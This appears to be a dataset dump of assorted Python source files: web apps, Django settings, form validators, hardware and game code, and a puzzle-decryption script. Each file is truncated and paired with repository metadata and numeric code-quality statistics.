import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
import plotly.graph_objects as go
from dash.dependencies import Input, Output
import da... | 25.87234 | 109 | 0.623766 | 298 | 2,432 | 4.97651 | 0.432886 | 0.033715 | 0.026972 | 0.033715 | 0.051247 | 0.051247 | 0.051247 | 0.051247 | 0 | 0 | 0 | 0.012311 | 0.265214 | 2,432 | 93 | 110 | 26.150538 | 0.817571 | 0.109786 | 0 | 0.057143 | 0 | 0 | 0.127087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014286 | false | 0 | 0.4 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bba31ce3ee6b992e3cd5ca08943ddfe79b48cc83 | 1,208 | py | Python | cog/forms/forms_utils.py | downiec/COG | cea8ceac701958b6af8e272698bfb08d89f62bf4 | [
"BSD-3-Clause"
] | 6 | 2016-03-10T19:38:17.000Z | 2021-02-23T09:34:59.000Z | cog/forms/forms_utils.py | downiec/COG | cea8ceac701958b6af8e272698bfb08d89f62bf4 | [
"BSD-3-Clause"
] | 602 | 2015-01-05T16:30:08.000Z | 2021-02-02T21:44:38.000Z | cog/forms/forms_utils.py | cedadev/COG | 6167f9114c7cf0422b34fb9f5f3f07f9657a7dbe | [
"BSD-3-Clause"
] | 18 | 2015-02-12T15:50:17.000Z | 2021-04-27T16:40:36.000Z | '''
General utilities for form validation
@author: Luca Cinquini
'''
import os
import imghdr
def validate_image(form, field_name):
'''
Validates an image field that is part of a form,
before the image is uploaded to the server.
'''
cleaned_data = form.cleaned_data
image = cleaned_data.ge... | 35.529412 | 105 | 0.621689 | 152 | 1,208 | 4.815789 | 0.460526 | 0.07377 | 0.061475 | 0.077869 | 0.213115 | 0.168033 | 0.168033 | 0.122951 | 0.122951 | 0 | 0 | 0.001131 | 0.268212 | 1,208 | 33 | 106 | 36.606061 | 0.826923 | 0.051325 | 0 | 0 | 0 | 0 | 0.156965 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.117647 | null | null | 0.058824 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbaed78c0a3771fe8d6877498d4f427ba1525026 | 665 | py | Python | app/schemas/entities/user.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | app/schemas/entities/user.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | app/schemas/entities/user.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | from datetime import datetime
from pydantic import (
BaseModel,
EmailStr
)
from ..base import (
IDModelMixin,
ModelWithOrmMode
)
__all__ = [
'UserInCreate',
'UserInLogin',
'UserInUpdate',
'UserInResponse'
]
class UserInCreate(BaseModel):
email: EmailStr
password: str
clas... | 15.465116 | 53 | 0.702256 | 64 | 665 | 7.109375 | 0.4375 | 0.085714 | 0.096703 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225564 | 665 | 42 | 54 | 15.833333 | 0.883495 | 0 | 0 | 0.066667 | 0 | 0 | 0.073684 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.1 | 0.1 | 0 | 0.566667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bbb4219508a1092291e0cb9dc2078d91e4fdd976 | 479 | py | Python | product/urls.py | yusif763/Unistore-pro | 41ad0fa209c79a201d3f6a7aa68ec0ace707dcad | [
"MIT"
] | 3 | 2021-04-29T10:49:06.000Z | 2022-03-03T12:40:21.000Z | product/urls.py | yusif763/Unistore-pro | 41ad0fa209c79a201d3f6a7aa68ec0ace707dcad | [
"MIT"
] | null | null | null | product/urls.py | yusif763/Unistore-pro | 41ad0fa209c79a201d3f6a7aa68ec0ace707dcad | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.urls import path,include
from product.views import ProductDetailView , ProductListView
from django.conf import settings
from django.conf.urls.static import static
app_name = "product"
urlpatterns = [
path('product-list/', ProductListView.as_view() , name = 'product_li... | 29.9375 | 83 | 0.768267 | 61 | 479 | 5.901639 | 0.459016 | 0.111111 | 0.077778 | 0.094444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11691 | 479 | 15 | 84 | 31.933333 | 0.851064 | 0 | 0 | 0 | 0 | 0 | 0.132353 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bbb58810fe63e339d5cd6293988a21ee96b008f3 | 1,792 | py | Python | idfy_rest_client/models/jwt_validation_request.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | idfy_rest_client/models/jwt_validation_request.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | idfy_rest_client/models/jwt_validation_request.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
idfy_rest_client.models.jwt_validation_request
This file was automatically generated for Idfy by APIMATIC v2.0 ( https://apimatic.io )
"""
class JwtValidationRequest(object):
"""Implementation of the 'JwtValidationRequest' model.
Jwt validation request
... | 26.352941 | 92 | 0.586496 | 188 | 1,792 | 5.515957 | 0.446809 | 0.019286 | 0.038573 | 0.030858 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00258 | 0.351004 | 1,792 | 67 | 93 | 26.746269 | 0.88908 | 0.517857 | 0 | 0 | 1 | 0 | 0.013196 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbb956f3dcc1f38ad80f492ee67e82aaf87516fe | 1,443 | py | Python | designer/keyboard.py | designer-edu/designer | 9c5d004e934300a30fb6d3148f4db313b69057df | [
"MIT"
] | 3 | 2022-01-21T00:08:02.000Z | 2022-03-09T19:00:26.000Z | designer/keyboard.py | krishols/designer | 8f80b3309802d16d8577280274e0c9fa02db306b | [
"MIT"
] | 24 | 2021-08-13T17:09:15.000Z | 2022-01-05T16:12:09.000Z | designer/keyboard.py | designer-edu/designer | 9c5d004e934300a30fb6d3148f4db313b69057df | [
"MIT"
] | null | null | null | """The keyboard modules provides an interface to adjust the keyboard's repeat
rate.
.. attribute:: repeat
When the keyboard repeat is enabled, keys that are held down will keep
generating new events over time. Defaults to `False`.
.. attribute:: delay
`int` to control how many milliseconds before the re... | 21.863636 | 77 | 0.643798 | 173 | 1,443 | 5.17341 | 0.364162 | 0.055866 | 0.080447 | 0.073743 | 0.15419 | 0.15419 | 0.084916 | 0 | 0 | 0 | 0 | 0.012464 | 0.2772 | 1,443 | 65 | 78 | 22.2 | 0.845638 | 0.298683 | 0 | 0.216216 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.216216 | false | 0 | 0.027027 | 0.081081 | 0.432432 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbc4643c50605cf9ee6bd53e30b5c017250f35fb | 378 | py | Python | src/Dominion/Actioncards/Vassal.py | CarlGathmann/Dominion | dc30a6db5f005d1148c5ddb4346a8d2b4397001c | [
"MIT"
] | null | null | null | src/Dominion/Actioncards/Vassal.py | CarlGathmann/Dominion | dc30a6db5f005d1148c5ddb4346a8d2b4397001c | [
"MIT"
] | null | null | null | src/Dominion/Actioncards/Vassal.py | CarlGathmann/Dominion | dc30a6db5f005d1148c5ddb4346a8d2b4397001c | [
"MIT"
] | null | null | null | from src.Dominion.Cardtypes.Actioncard import Actioncard
class Vassal(Actioncard):
EXPENCES = 3
CARDS = 0
ACTIONS = 0
BUYS = 0
MONEY = 2
def specialAction(self, player, game):
card = player.drawAndReturn()
if isinstance(card, Actioncard):
print("playing", card, "wi... | 23.625 | 56 | 0.62963 | 41 | 378 | 5.804878 | 0.707317 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018248 | 0.275132 | 378 | 15 | 57 | 25.2 | 0.850365 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.666667 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bbc5bb679186b23bb3fc2ab00d1dedb29209a03c | 4,107 | py | Python | config.py | gzq763199198/xcos_on_cloud | 63ce264e79f03151e0f414abc3953b9d7d84a388 | [
"MIT"
] | 1 | 2019-02-15T03:10:46.000Z | 2019-02-15T03:10:46.000Z | config.py | gzq763199198/xcos_on_cloud | 63ce264e79f03151e0f414abc3953b9d7d84a388 | [
"MIT"
] | null | null | null | config.py | gzq763199198/xcos_on_cloud | 63ce264e79f03151e0f414abc3953b9d7d84a388 | [
"MIT"
] | null | null | null | # The location of the extracted scilab_for_xcos_on_cloud. This can be either
# relative to SendLog.py or an absolute path.
SCILAB_DIR = '../scilab_for_xcos_on_cloud'
# The location to keep the flask session data on server.
FLASKSESSIONDIR = '/tmp/flask-sessiondir'
# The location to keep the session data on server.
SE... | 38.383178 | 77 | 0.720477 | 629 | 4,107 | 4.461049 | 0.176471 | 0.139344 | 0.119743 | 0.098361 | 0.639701 | 0.604063 | 0.604063 | 0.604063 | 0.586244 | 0.550606 | 0 | 0.008323 | 0.180911 | 4,107 | 106 | 78 | 38.745283 | 0.825803 | 0.107378 | 0 | 0.443038 | 0 | 0 | 0.777565 | 0.24788 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.012658 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbc8e062ddb6e77238b67ff0bb071c38b56c6ab0 | 1,450 | py | Python | electronics/gateways/linuxdevice.py | MartijnBraam/pyElectronics | a20878c9fa190135f1e478e9ea0b54ca43ff308e | [
"MIT"
] | 77 | 2016-02-22T21:14:02.000Z | 2022-03-18T14:28:35.000Z | electronics/gateways/linuxdevice.py | MartijnBraam/pyElectronics | a20878c9fa190135f1e478e9ea0b54ca43ff308e | [
"MIT"
] | 8 | 2016-02-23T22:21:42.000Z | 2019-03-02T23:46:46.000Z | electronics/gateways/linuxdevice.py | MartijnBraam/pyElectronics | a20878c9fa190135f1e478e9ea0b54ca43ff308e | [
"MIT"
] | 9 | 2016-02-23T22:06:34.000Z | 2022-03-18T14:28:41.000Z | import smbus
import struct
class LinuxDevice(object):
"""
Class for using a i2c master that is supported by a Linux kernel module. An example is the internal smbus in a
computer motherboard (supported by i2c-dev) or the i2c connection on the Raspberry Pi (supported by i2c-bcm2708).
Linux gives every i... | 34.52381 | 117 | 0.648276 | 198 | 1,450 | 4.631313 | 0.409091 | 0.039258 | 0.047983 | 0.032715 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02243 | 0.262069 | 1,450 | 42 | 118 | 34.52381 | 0.834579 | 0.391034 | 0 | 0.090909 | 0 | 0 | 0.002381 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.090909 | 0 | 0.409091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbcbfbd1d58ce2b647da49b8c46ee6e1affed712 | 292 | py | Python | tests/func/conftest.py | madtibo/temboard-agent | c63b82e243c9155e1878ba94e747b51761d62138 | [
"PostgreSQL"
] | null | null | null | tests/func/conftest.py | madtibo/temboard-agent | c63b82e243c9155e1878ba94e747b51761d62138 | [
"PostgreSQL"
] | null | null | null | tests/func/conftest.py | madtibo/temboard-agent | c63b82e243c9155e1878ba94e747b51761d62138 | [
"PostgreSQL"
] | null | null | null | import pytest
from test.temboard import build_env_dict, drop_env, init_env
ENV = {}
@pytest.fixture(autouse=True, scope='session')
def env():
env = build_env_dict()
drop_env(env)
init_env(env)
ENV.update(env)
try:
yield ENV
finally:
drop_env(env)
| 15.368421 | 60 | 0.64726 | 42 | 292 | 4.285714 | 0.47619 | 0.2 | 0.133333 | 0.177778 | 0.211111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.243151 | 292 | 18 | 61 | 16.222222 | 0.81448 | 0 | 0 | 0.153846 | 0 | 0 | 0.023973 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.153846 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbdf54f606318a7ccaabefa4c50ba61c3c9c2f2d | 866 | py | Python | LAB02/CloudAlbum/run.py | michaelrishiforrester/moving-to-serverless-workshop-1d | 5af925b00b5b7dfe7861b090343ced54676cffc3 | [
"MIT"
] | 7 | 2019-03-12T00:58:36.000Z | 2019-08-21T04:13:27.000Z | LAB02/CloudAlbum/run.py | aws-kr-tnc/moving-to-serverless-workshop-1d | 5af925b00b5b7dfe7861b090343ced54676cffc3 | [
"MIT"
] | 30 | 2019-12-26T17:30:42.000Z | 2022-03-21T22:17:48.000Z | LAB02/CloudAlbum/run.py | michaelrishiforrester/moving-to-serverless-workshop-1d | 5af925b00b5b7dfe7861b090343ced54676cffc3 | [
"MIT"
] | 7 | 2019-05-27T01:53:29.000Z | 2020-02-26T18:42:29.000Z | from flask import Flask, session
from flask_session import Session
from cloudalbum import application as CloudAlbum
from cloudalbum.config import conf
from cloudalbum import util
from redis import StrictRedis
import os, socket
app = Flask(__name__)
# Flask Session for Redis
#app.config['SESSION_TYPE'] = 'redis'
#app.... | 25.470588 | 86 | 0.729792 | 121 | 866 | 5 | 0.438017 | 0.059504 | 0.066116 | 0.069421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006658 | 0.132794 | 866 | 33 | 87 | 26.242424 | 0.798935 | 0.224018 | 0 | 0 | 0 | 0 | 0.103916 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.388889 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bbdf5cf8f8fae95f6eaee3ec6200af3cab9a6613 | 6,061 | py | Python | aprepi/settings.py | MikaelSantilio/aprepi-django | 5e2b5ecffb287eab929c0759ea35ab073cc19d96 | [
"MIT"
] | null | null | null | aprepi/settings.py | MikaelSantilio/aprepi-django | 5e2b5ecffb287eab929c0759ea35ab073cc19d96 | [
"MIT"
] | 9 | 2021-01-13T22:06:29.000Z | 2021-06-16T10:33:48.000Z | aprepi/settings.py | MikaelSantilio/aprepi-django | 5e2b5ecffb287eab929c0759ea35ab073cc19d96 | [
"MIT"
] | 1 | 2021-02-05T18:12:15.000Z | 2021-02-05T18:12:15.000Z | from pathlib import Path
from datetime import timedelta
import os
import environ
env = environ.Env()
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/... | 30.457286 | 93 | 0.677446 | 617 | 6,061 | 6.484603 | 0.387358 | 0.061735 | 0.065984 | 0.074981 | 0.170957 | 0.170957 | 0.131967 | 0.109223 | 0.097476 | 0.053987 | 0 | 0.008372 | 0.152615 | 6,061 | 198 | 94 | 30.611111 | 0.770639 | 0.274212 | 0 | 0.02381 | 0 | 0.007937 | 0.557851 | 0.447199 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.039683 | 0.031746 | 0 | 0.031746 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbdfab240b21c157c3ec03cf2f8676f1335dc24e | 1,284 | py | Python | Chapter05/mnist.py | PacktPublishing/Hands-On-Deep-Learning-for-Images-with-TensorFlow | 1ced05560a4fc8b444e8524b0c896d5aa00e2fc7 | [
"MIT"
] | 16 | 2018-08-14T06:26:05.000Z | 2021-10-04T06:36:57.000Z | Chapter05/mnist.py | PacktPublishing/Hands-On-Deep-Learning-for-Images-with-TensorFlow | 1ced05560a4fc8b444e8524b0c896d5aa00e2fc7 | [
"MIT"
] | null | null | null | Chapter05/mnist.py | PacktPublishing/Hands-On-Deep-Learning-for-Images-with-TensorFlow | 1ced05560a4fc8b444e8524b0c896d5aa00e2fc7 | [
"MIT"
] | 14 | 2018-09-18T22:38:27.000Z | 2021-03-16T21:11:27.000Z | """
This module serves as the API provider for MNIST digit processing.
"""
import io
import json
import numpy as np
from keras.models import load_model
from PIL import Image
from PIL.ImageOps import fit, grayscale
MNIST_MODEL = load_model('var/data/mnist.h5')
print(MNIST_MODEL.summary())
def post_image(file):
"... | 32.923077 | 89 | 0.698598 | 193 | 1,284 | 4.595855 | 0.533679 | 0.033822 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 0.200935 | 1,284 | 38 | 90 | 33.789474 | 0.846004 | 0.482866 | 0 | 0 | 0 | 0 | 0.035831 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.375 | 0 | 0.5 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bbe8258f0a5edf3dab38c8003822237f616cb41a | 628 | py | Python | dalme_app/utils/domain_middleware.py | DALME/dalme | 46f9a0011fdb75c5098b552104fc73b1062e16e9 | [
"BSD-3-Clause"
] | 6 | 2019-05-07T01:06:04.000Z | 2021-02-19T20:45:09.000Z | dalme_app/utils/domain_middleware.py | DALME/dalme | 46f9a0011fdb75c5098b552104fc73b1062e16e9 | [
"BSD-3-Clause"
] | 23 | 2018-09-14T18:01:42.000Z | 2021-12-29T17:25:18.000Z | dalme_app/utils/domain_middleware.py | DALME/dalme | 46f9a0011fdb75c5098b552104fc73b1062e16e9 | [
"BSD-3-Clause"
] | 1 | 2020-02-10T16:20:57.000Z | 2020-02-10T16:20:57.000Z | from django.http import HttpResponsePermanentRedirect
class SubdomainRedirectMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
host = request.get_host()
if host in ['www.dalme.org', 'public.dalme.org']:
return HttpR... | 39.25 | 98 | 0.673567 | 78 | 628 | 5.25641 | 0.410256 | 0.107317 | 0.109756 | 0.043902 | 0.12439 | 0.12439 | 0.12439 | 0 | 0 | 0 | 0 | 0.059761 | 0.200637 | 628 | 15 | 99 | 41.866667 | 0.756972 | 0 | 0 | 0 | 0 | 0 | 0.213376 | 0.090764 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.083333 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bbee8286c1b16f23c2fbea4885c81a4ff32f0eaa | 3,149 | py | Python | decrypt_next_level.py | fishilico/sstic-2016 | 9a05bb18df4c8d2e76f1e30fda6b38b1bc930e8c | [
"Beerware"
] | null | null | null | decrypt_next_level.py | fishilico/sstic-2016 | 9a05bb18df4c8d2e76f1e30fda6b38b1bc930e8c | [
"Beerware"
] | null | null | null | decrypt_next_level.py | fishilico/sstic-2016 | 9a05bb18df4c8d2e76f1e30fda6b38b1bc930e8c | [
"Beerware"
] | 1 | 2020-04-03T06:19:11.000Z | 2020-04-03T06:19:11.000Z | #!/usr/bin/env python3
"""Decrypt the data needed for the next level"""
import base64
import binascii
import hashlib
import json
import numpy
import sys
from Crypto.Cipher import AES
# x^128 + x^7 + x^2 + x + 1
GCM_POLY = (1 << 128) + (1 << 7) + (1 << 2) + (1 << 1) + (1 << 0)
def invert_poly(p):
"""Invert the gi... | 29.157407 | 114 | 0.62496 | 492 | 3,149 | 3.914634 | 0.272358 | 0.056075 | 0.024922 | 0.013499 | 0.172378 | 0.122534 | 0.122534 | 0.122534 | 0.122534 | 0.122534 | 0 | 0.055875 | 0.227056 | 3,149 | 107 | 115 | 29.429907 | 0.735415 | 0.150206 | 0 | 0.106667 | 0 | 0.013333 | 0.058113 | 0.017736 | 0 | 0 | 0.01434 | 0 | 0.173333 | 1 | 0.026667 | false | 0.12 | 0.093333 | 0 | 0.146667 | 0.013333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bbef9d9515fa58cd4632952527de7c91bf724f99 | 6,930 | py | Python | src/priority_selector.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 4 | 2021-10-17T11:17:59.000Z | 2022-02-28T16:58:40.000Z | src/priority_selector.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 17 | 2021-10-05T21:44:06.000Z | 2022-03-31T16:58:40.000Z | src/priority_selector.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 8 | 2021-09-02T18:55:49.000Z | 2022-03-09T21:05:28.000Z | #!/usr/bin/env python
###############################################################################
# $Id$
#
# system imports
import sys
import os
import stat
import errno
import string
import re
#import pcre has been deprecated
import copy
import traceback
import e_errors
import Trace
MAX_REG_PRIORITY = 1000001
c... | 41.005917 | 108 | 0.534921 | 817 | 6,930 | 4.305998 | 0.29131 | 0.048323 | 0.025583 | 0.029562 | 0.253269 | 0.204377 | 0.189596 | 0.166572 | 0.14838 | 0.132462 | 0 | 0.06003 | 0.331746 | 6,930 | 168 | 109 | 41.25 | 0.699633 | 0.072727 | 0 | 0.204545 | 0 | 0 | 0.144957 | 0.017863 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0.015152 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bbfc6b7501f68090857b839fbaec0575500721e9 | 1,387 | py | Python | main.py | BateauNautilus/drivesimulator | 290382f9c196a0daeca7a45a9abb792d1a035c8c | [
"MIT"
] | 1 | 2015-10-08T04:03:58.000Z | 2015-10-08T04:03:58.000Z | main.py | BateauNautilus/drivesimulator | 290382f9c196a0daeca7a45a9abb792d1a035c8c | [
"MIT"
] | null | null | null | main.py | BateauNautilus/drivesimulator | 290382f9c196a0daeca7a45a9abb792d1a035c8c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import time
from Message.CANMessage import MessageToCan
from Message.EnvironmentStatus import EnvironmentStatus
from Message.MotorStatus import MotorStatus
from Message.Parameters.Current import Current
from Message.Parameters.Humidity import Humidity
from Message.Parameters.Vibration import Vibr... | 33.829268 | 105 | 0.777938 | 154 | 1,387 | 6.935065 | 0.357143 | 0.092697 | 0.117978 | 0.054307 | 0.181648 | 0.181648 | 0.181648 | 0.086142 | 0 | 0 | 0 | 0.013912 | 0.118962 | 1,387 | 41 | 106 | 33.829268 | 0.860065 | 0.015141 | 0 | 0.066667 | 0 | 0 | 0.038067 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.4 | 0 | 0.5 | 0.033333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a51fa64bf6e06d03d20294775fe60521fe1d38d5 | 1,187 | py | Python | src/pyscaffoldext/nox/extension.py | SarthakJariwala/pyscaffoldext-nox | 7bb84218facaf8a8c03bad307abcbadd1f5a3459 | [
"MIT"
] | null | null | null | src/pyscaffoldext/nox/extension.py | SarthakJariwala/pyscaffoldext-nox | 7bb84218facaf8a8c03bad307abcbadd1f5a3459 | [
"MIT"
] | null | null | null | src/pyscaffoldext/nox/extension.py | SarthakJariwala/pyscaffoldext-nox | 7bb84218facaf8a8c03bad307abcbadd1f5a3459 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Implementation to add noxfile.py to
PyScaffold project
"""
from pathlib import PurePath
from pyscaffold.api import Extension, helpers
from .templates import noxfile
class Nox(Extension):
"""
Generate Nox configuration file for PyScaffold
"""
def activate(self, actions):
... | 26.377778 | 84 | 0.611626 | 128 | 1,187 | 5.632813 | 0.46875 | 0.041609 | 0.036061 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001193 | 0.294019 | 1,187 | 44 | 85 | 26.977273 | 0.859189 | 0.433024 | 0 | 0 | 0 | 0 | 0.061682 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.25 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
a5213db851bfc1609188f26a356155fd3f1f97df | 379 | py | Python | src/app/utils/string.py | meyer-net/robot | e35cf6d5a4293eaf7330a733f3e6f35f4789623c | [
"MIT"
] | 12 | 2018-07-31T02:47:42.000Z | 2019-04-29T05:40:46.000Z | src/app/utils/string.py | meyer-net/pyflink-framework.osteam.base | e35cf6d5a4293eaf7330a733f3e6f35f4789623c | [
"MIT"
